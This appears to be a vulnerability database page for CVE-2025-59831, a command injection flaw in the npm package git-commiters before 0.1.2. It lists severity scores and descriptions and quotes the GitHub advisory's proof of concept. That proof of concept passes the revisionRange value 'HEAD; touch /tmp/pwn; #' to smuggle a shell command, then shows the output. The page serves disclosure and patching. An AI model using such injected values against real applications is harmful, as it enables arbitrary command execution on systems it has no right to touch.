CVE-2025-59831
JSON

8.7high

`git-comiters` Command Injection vulnerability

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
4.17% (higher than 91% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-g38c-wxjf-xrh6

Description

git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.

Affected

Product or packageVersionsReported by
snowyu git-commiters.js< 0.1.2CVE List
git-commiters (npm)before 0.1.2GitHub Advisory Database
riceball git-commitersbefore 0.1.2NVD

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
GitHub8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
NVD8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Classification

CWE-77CWE-78

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.

GitHub Advisory Database

Background on the vulnerability

This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.

However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.

Exploit

  1. Install git-commiters@0.1.1 or earlier
  2. Initiaizlie a new Git directory with commits in it
  3. Create the following script in that directory:
var gitCommiters = require("git-commiters");

var options = {
  cwd: "./",
  revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
  if (err) console.log(err);
  else console.log(result);
});
  1. Observe new file created on disk at /tmp/pwn

The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.

@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
  {
    email: 'github@qslw.com',
    name: 'Morton Fox',
    deletions: 1,
    insertions: 1,
    commits: 1
  },
  {
    email: 'snowyu.lee@gmail.com',
    name: 'Riceball LEE',
    deletions: 11,
    insertions: 1198,
    commits: 7
  }
]

@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn

Credit

Liran Tal

NVD (es)

git-commiters es un módulo de función de Node.js que proporciona estadísticas de los committers para su repositorio git. Antes de la versión 0.1.2, existe una vulnerabilidad de inyección de comandos en git-commiters. Esta vulnerabilidad se manifiesta con la API principal exportada de la biblioteca: gitCommiters(options, callback) que permite especificar opciones como cwd para el directorio de trabajo actual y revisionRange como un puntero de revisión, como HEAD. Sin embargo, la biblioteca no sanea la entrada del usuario ni practica una API de ejecución de procesos segura para separar los comandos de sus argumentos y, como tal, la entrada del usuario no controlada se concatena en la ejecución de comandos. Este problema ha sido parcheado en la versión 0.1.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-59831 changed 2025-09-25CVE Terms of Use
GitHub Advisory DatabaseGHSA-g38c-wxjf-xrh6 changed 2025-10-16CC-BY-4.0
NVDCVE-2025-59831 changed 2026-10-11Public domain